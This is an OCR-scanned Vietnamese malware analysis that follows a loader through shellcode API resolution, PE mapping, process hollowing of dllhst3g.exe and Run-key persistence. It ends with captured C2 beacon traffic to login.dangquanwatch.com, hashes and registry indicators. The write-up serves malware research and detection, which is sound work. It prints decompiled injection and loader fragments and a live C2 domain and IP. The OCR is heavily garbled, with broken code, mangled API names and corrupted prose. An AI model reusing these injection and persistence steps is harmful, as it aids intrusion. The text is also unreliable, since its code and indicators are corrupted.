kernel32_d11[4] =
kernel32_d11[5] =
kernel32_dl11[6]
kernel32_dl11[7] =
kernel32_d11[8]
el32_d11[9] =
kernel32_d11[8xA]
kernel32 dll[ExB]

L=
el ek TR T TR TETET

" we e

mow
mow
maw

if ( v1@ >
{

while ( 1)

al = vd + *(_DWORD *
if (

&

&&

A A W R

D-ﬂ.IF[."' (v + Bx24) + 2 * T2 4+ wd);
_fasteall *)(int, dint, dint, dnt *))(vd + *(_DWORD *)(*(_DWORD *){v3 + BxI1C) + 4 * w11l + wid});

V&i ham API , shellcode sé lay dia chi clia cac ham APl khac la , , | :
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A = (int (__stdcall *){int))GetProcAddress(vll, al, hModule, LoadlLibraryA);

= ((int (__stdeall *)(int, int *))GetProcAddress)(hMadule, VirtualAllae):

i
[__stdcall *)(int))((int (__stdcall *)(int, int *))GetProci
I Dlxlﬁ'ﬂ 'eelS':

P p —stdcall *){unsigned int)){(int (__stdcall *)(int, __intle *))GotP J{hModul A
Su dung ham dé cép phat mot ving nhé va goi ham dé decode bytes trong shellcode vao vung
nh& cép phat:

Tiép tuc str dung dé cap phat thém mot ving nhé khac véi kich thudc lay tr ving nhé trén () va
thiét lap vang nhé mai nay 13 :
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pe_header = pp_mem + *(_DWORD *)(pp_mem + @x3C):

p_mem2 = ((int (__stdcall *)(_DWORD, _DWORD, signed int, signed int))p_VirtualAlloc)(
@

*(_DWORD *)(pe_header + 8x58),

@x1e00,
ex48)

2 + *(_DWORD *)(pe_header + @x28):

section_header = *(_WORD *)(pe_header + ©x14) + pe_header + ©x18:
Sau khi Iéy duwoc section header tai vung nhé & trén, thiee hién vong lap dé copy toan bd cac
section data sang viing nh& méi dwoc cap phat:

(_BYTE *)(|

= raw_data

raw_data2;

*(_WORD *)(pe_header + 6);

}
}

Tién hanh resolve toan bd dia chi API ghi lai vao IAT cta viing nhé maéi:
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Sau khi |4y dia chi ctia toan bd cac API can thiét, st dung I&énh call dé nhay t&i ving nhé dé thuc
hién |énh:

((void (__stdecall *)(int, signed int, _DWORD))addr_ep)(pp_mem2, [, @);

p_Sleep(@xFFFFFFFF);
return @;
Tiép tuc debug xuyén qua nhiéu I&p call sé téi doan goi ham dé tao mot thread mai:

Address |Hex P I ~ Midress |Valus
T EN ER AT dE . T: " ter- HECH o0BcE ACC DT

E)itc’yi ThraFcint ii . Cdtai day thyc hin Iéyh()ng tin binary cé sén ctia Windows

a:
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Tao mét thread khac lam nhiém vu tao Persistent trong Registry :

ab \Windows HD Audic Manager REG_5Z Cillsers\ REMN AppDats) Roamang MICROS - TV Windows\ PRINTE -~ TWOc Consol.exe -LowintegritySenver

Goi ham dé ghi string vao file tai *:

FileName = “ YWProgramDatabd -tDp.iniH

FileAttributes = HIDDEM |STSTEN

H [langmages]
symbolfile=F3 Qulqg{“TALUDusLcp® Zkdknh® [Hadsipja}¥Wlggkqz XpojulwkP mvu® }pvZVeDhm{hm(f}b

Tao mét Mutex {986AFDE7-F299—-4A7D-BBF4-CA756FC01F1B65027208}, tuy nhién handle t&i
mutext nay sé bi dong ngay sau dé:

' Find Handles or DLLs

Fiter: | {386AFDET [IRegex
Process Type Name Handle
QeConsol.exe (3948) Mutant \Sessions| 1\BaseiamedObjects\[SBEAFDE 7-F 209-4ATD-BBF 4-CA TSR C 27208} O 2623

Tiép tuc st dung bd API , , , @& mét Ian niva doc ra ndi dung dwoc lwu trong file va thue hién
decode di¥ liéu gibng nhw da noi & budc truéc:
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DZAAF200) Eay b || ModuleFilelame = "C:\Window
IZAAF204| Of 1| c Line = }

172 1206 ME REMWorkstation\REM  Process Hacker Trusted Wen kia Liu

CPUUSage 628% Pl  COM Surmonats 6.3 060016354 )

Cép phat viing nhé trong tién trinh nay théng qua ham :

e o B FRITY VAL L WA T B W WA SR (PP R e WKL
~ Address |Value ':.-:T:T- Fil= C:\indows WWinS xS \wdé_microsoft.windows.com... (104
------ Process dihst3g.exe (2537) Ox2ed

Thread dihst3g.exe (2532): 1996 Onc2el

Ky HKCU %158

Key HECOUNSoftware O b4

Key HEOUNSoftware Marosoft\Intermat Explorer Main oo 1ed

Key HECU\Software Miorosoft\Internet ExplorerMainl,...  OxilSc

Goi ham dé ghi di¥ liéu twv (buffer chira data da decode cta stdole.tlb) vao viing nhé da cap phat
tai tién trinh , dt lai thread context va resume thread. Luc nay sé thwc thi binh thwdng va thyc thi
lubn malicious code:
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|
£ 1 5 &3 O
N dilhsi3gexe 2532) Properties - B n
CPU Vg 0% Phyncal mamadys 24000 ME (2T.70%) Proceites 40

~ Address |Valus Lommant Emnironment Handies Job =21 Disic o e bwork Comment
] Gereral Statstes Performance Thresds Tiokesr Mo bes Mmory
o Hide frieat negeors SErgE., Rafresh
rjy AR ' [— Troe Sse Probect.. Use
D TG00 Prvast LEE =
e P00 Plapreedd Wkl "
O FrD000 Private 25568 RW Sinck {thread 1995)
O Teld00 Paggssed 168 R
O PE000 Frivade Bk =W
i (0000 PTvast HaE W
o Chedoaag Provate; Commit L
O 120000 Imae 24k W

dillhst3g.exe (2532) (000000 - CB2500

8. Debug dllhst3g.exe

Hoan thanh xong viéc inject code vao sé goi dé két thac tién trinh va tiép tuc thuwe thi tién trinh .
Do bi inject code cua file stdole.tlb sau khi decode trén b nhé, nén cach thirc hoat dong cling
twong tw. Pé co thé debug xem sé& lam gi thi truéc khi thue hién budc & trén, stra 2 bytes dau la
thanh . Sau khi resume thread, mé mot debugger khac dé attach va khéi phuc lai 2 bytes da bi
stra.

(34

Luc nay, debug sé thay code tao mét mutext va doc lai ndi dung ti file
file nay thanh:

va decode string trong

1 i sers\FEM \ AppData\Roaming'\ Microsoft\ Windows \Pr
|inter Shorte B = R = -4 = P

|: LY 8 0

an thém tham s6: 0206F4E4 00D80B30 UNICODE
“C:\Users\REM\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\QcConsol.exe” -” va goi
ham dé thwc thi

230 QeConsel.exe 2040 47MB REMWorkstation\REM  QuickClesn Console Applicati.. Trusted  McAfes, Ing

| a-'iwm 1208 008  283MB REMWorkststionREM  COM Surrogate Trusted  Microsoft V
| '3 QcConsol.exe 1396 504 MB REMWorkstation\REM  QuickClean Console Applicati..  Trusted Mnl'nc:
Tién trinh m&i nay sé két ndi t&i C2 ():

Processes | Services MNetwork | Disk

Mame . Local address Local.. Remote address Rem... Prot.. State

B lsass.exe (572) 0.0.0.0 49156 TCP Listen

7 Isass.exe (572) i 49156 TCP& Listen
| '@ CQcConsol.exe (1396) 192.168.65.129 49415 192.168.65.131 33 TCP Established

B services.exe (552) 0.0.0.0 49157 TCP Listen

Tai may REMnux, str dung wireshark sé capture dwoc théng tin nhw hinh:
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GET /link?url=pJWkuZWcMDUy&enpl=JEppeA==8encd=(TkJSDE= HTTP/1.1

User-Agent: Mozillas4.8 (compatible; MSIE 8.8; Win32)

Host: login.dangquanwatch.com

Cache-Control: no-cache

Cookie: eJyL4GZgeAHEBVThZaVR4cm+LqGVDCAQSDobTh/
kKHRz1GOLpTBeABs]z8yzODBUILMzQZUCACAgZmzgUMAT xCxADWhr pGZpZ6 ImZ6hk aWeLRQAEWM ] COMDQWxOrMwlAACDUR+(==

HTTP/1.1 280 0K

Date: Sat, 83 Nov 2018 10:089:58 GMT
Content-Length: 258

Content-Type: text/html

9.10Cs

Domain: login[dot]Jdangquanwatch[dot]jcom / IP: 185.77.129.142

RTF: b45087ad4f7d84758046e9d6eb174530fee98b069105a78f124cbde1ecfb0415

8.t: 6328dd14eda2ef983810c0c7b3af47298b5998e4fa52d97b204be2818f08bb69

Binary:

QcConsol.exe: 9f3114e48dd0245467fd184bb9655a5208fa7d13e2fe06514d1f3d61ce8b8770
QclLite.dll: 5b652205b1c248e5d5fc0eb5f53¢c5754df829ed2479687d4f14c2e08fbf87e76
Others:

stdole.tlb: ba620bad026f25ba6decc4bdcefc6415b563503cf9eaddc4e1137a5871d5cee?2
desktop.ini: 31c2be9ca29fb2bd8096720c221ee9682f013eee119b02d390d6efc12684392d
Registry:

HKEY_ CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run &
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

ValueName: Windows HD Audio Manager

Data: %AppData%\MICROS~1\Windows\PRINTE~1\QcConsol.exe -LowIntegrityServer
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